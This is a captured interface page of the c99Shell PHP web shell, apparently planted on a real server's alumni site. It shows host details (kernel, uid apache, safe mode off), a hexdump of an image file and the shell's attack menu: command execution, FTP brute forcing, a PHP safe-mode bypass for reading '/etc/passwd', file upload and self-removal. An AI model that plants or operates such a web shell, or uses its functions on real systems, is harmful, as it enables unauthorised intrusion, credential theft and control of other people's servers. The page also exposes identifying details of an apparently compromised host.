!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/alumni/images/   drwxr-xr-x
Free 52.6 GB of 127.8 GB (41.15%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     hide.gif (106 B)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
Information:
Path /var/www/html/alumni/images/hide.gif
Size 106 B
MD5 71479b054909538a1a5c521f7bf43630
Owner/Group apache/root
Perms-rw-r--r--
Create time 05/09/2012 17:45:15
Access time 11/07/2024 18:23:06
MODIFY time 28/07/2009 08:35:48

HEXDUMP PREVIEW
00000000
00000018
00000030
00000048
00000060
47 49 46 38 39 61 0C 00 0A 00 91 00 00 3A 4A 63 83 00 12 D1 D9 E4 FF FF
FF 21 F9 04 09 00 00 02 00 2C 00 00 00 00 0C 00 0A 00 00 08 3B 00 01 08
1C 28 A0 A0 41 00 03 12 0E 10 78 50 00 42 85 04 1D 3A 5C F8 70 61 41 00
0E 1F 6A BC 98 31 E1 C6 83 14 37 06 18 59 71 A1 C5 00 02 02 94 F4 98 32
E5 C0 97 18 47 06 08 08 00 3B
GIF89a 0 000:Jcƒ0ÑÙäÿÿ
ÿ!ù 000,0000 0 00;0
(  A0xP0B…:\øpaA0
j¼˜1áƃ7Yq¡Å0”ô˜2
åÀ—G0;

HEXDUMP: [Full] [Preview]
Base64:
[Encode [+chunk [+chunk+quotes [Decode


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0068 ]--